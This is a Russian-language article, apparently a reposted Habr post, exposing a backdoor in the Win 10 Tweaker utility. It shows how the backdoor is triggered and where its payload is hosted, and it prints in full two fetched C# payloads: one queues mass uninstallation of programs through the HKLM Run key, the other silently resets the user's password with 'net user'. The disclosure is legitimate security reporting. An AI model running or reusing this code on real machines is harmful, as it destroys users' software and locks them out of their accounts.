Бэкдор в Win 10 Tweaker, или современные методы борьбы с пиратством

от автора

Для неподготовленных юзеров, которые сталкиваются с Windows, настройки ОС иногда становятся настоящим темным лесом. Эту достаточно узкую нишу охватывают разработчики всевозможных твикеров, один из который в своих подходах к защите своей программы пошел самым радикальным способом. Сегодня мы немножко препарируем один самых известных таких продуктов — Win 10 Tweaker и посмотрим, какой «сюрприз» спрятал внутри его создатель.


Решил оформить небольшой материал с доказательствами того, как с недавних пор (примерно с осени 2020 года) в Win 10 Tweaker в целях борьбы со взломом программы был интегрирован самый обычный бэкдор, в особых обстоятельствах получающий зловредный код с ресурса https://win10tweaker.com/PrivilegeUser.php?key=Universal.

Не будем обсуждать личность автора и его отношение к пользователям, а также то, что он творит на своем форуме, а поговорим о том, что нам поведал сниффер трафика Win 10 Tweaker, у которого на момент написания статьи, судя по счётчику на сайте, больше 1 400 000 скачиваний.

  • Скачиваем с сайта последнюю версию программы. Сейчас скачивается версия 17.2, SHA-256: 06DB5801D37895C75B7D60FA5971827DA80CC275D9E78E5986A120C003021A0D;

  • Выяснилось, что, чтобы вызвать скачивания удаленного кода, надо просто создать в %LOCALAPPDATA% папку Turbo.net, а внутри — просто пустой файл System.Deps.dll;

  • Запускаем Win 10 Tweaker и принимаем правой кнопкой соглашение;

  • Хватит лишь открытия раздела «Системная информация», где можно получить сведения о характеристиках ПК;

  • Сразу с ресурса, указанного выше, через бэкдор в открытом виде скачивается и исполняется код, написанный на C#, который прописывает в реестре в раздел автозагрузки для всех пользователей ключи на удаление первых 50 установленных программ. При первом выходе/входе из учетной записи или перезагрузке эти программы запустят свои деинсталляторы.

using System; using System.Collections.Generic; using Microsoft.Win32; using System.IO; namespace N {   class C {     public void M() {       string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\AppData\\Local\\Turbo.net";       if (Directory.Exists(path)) {         string[] files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories);         foreach(string file in files) {           if (file.Contains("System.Deps.dll")) {             List list = new List();             using(RegistryKey key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall")) {               foreach(string k in key.GetSubKeyNames()) {                 if (key.OpenSubKey(k).GetValue("UninstallString") != null) {                   list.Add(key.OpenSubKey(k).GetValue("UninstallString").ToString());                 }               }             }             for (int i = 0; i < 50; i++) {               RegistryKey key = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");               key.SetValue(i.ToString(), list[i]);             }           }         }       }     }   } }

Разберем по-быстрому код.

  • Берется путь профиля и присобачивается к нему «\\AppData\\Local\\Turbo.net»;

  • Если имеется папка Turbo.net, то по маске *.* рекурсивно ищется файл System.Deps.dll;

  • Если такой на вашу беду находится, то получаем значения ключей UninstallString в разделе HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall. В этом параметре хранится команда для деинсталляции программ. Собственно, именно эта команда запускается, когда вы удаляет в Windows любую программу, если ее деинсталлятор прописывается в системе.

  • Сохраняем полученные строки и записываем первые 50 команд на удаление в автозагрузку для всех пользователей. Отныне при первой перезагрузке запустят свои деинсталляторы те программы, у которых есть свойство UninstallString.

Сохраненная ссылка на Wayback Machine, если «чудотворным» образом ресурс будет недоступен. Кстати, тот же зловредный код расположен и на домене https://win10tweaker.ru/PrivilegeUser.php?key=Universal.

Скажите спасибо, что не в тихом режиме все удаляется, и окошки с уведомлением об удалении будут видны в любом случае.

Осенью же на этом ресурсе располагался другой код, устанавливающий пароль на учетную запись. Пароль, как нетрудно догадаться, глядя на код, был Rock5taR. То есть ресурс один, а зловредный код иногда да и меняется.

using System; using System.Diagnostics; using System.IO;   namespace N {     class C     {         public void M()         {            string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\AppData\\Local\\Turbo.net";                 if (Directory.Exists(path))                 {                     string[] files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories);                     foreach (string file in files)                     {                         if (file.Contains("System.Deps.dll"))                         {                             Process.Start(new ProcessStartInfo                             {                                 FileName = "cmd",                                 Arguments = "/c net user " + "\"" + Environment.UserName + "\"" + " Rock5taR",                                 WindowStyle = ProcessWindowStyle.Hidden                             });                         }                     }                                     }         }     } }

Также автор заявляет о портативности программы, что на самом деле не так: чего только стоит создание неудаляемого ключа в реестре по пути HKCU\Software\Win 10 Tweaker, так как программа меняет права доступа на этот раздел.

Видео с одним из вариантов, как удалить ключ.


Остается тайной, зачем автор в борьбе с пиратами, беря за программу в том числе и плату, интегрировал туда самый обычный бэкдор. И кто знает, что еще она в себе таит… Выводы, как всегда, делать только вам.

ссылка на оригинал статьи https://habr.com/ru/post/557388/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *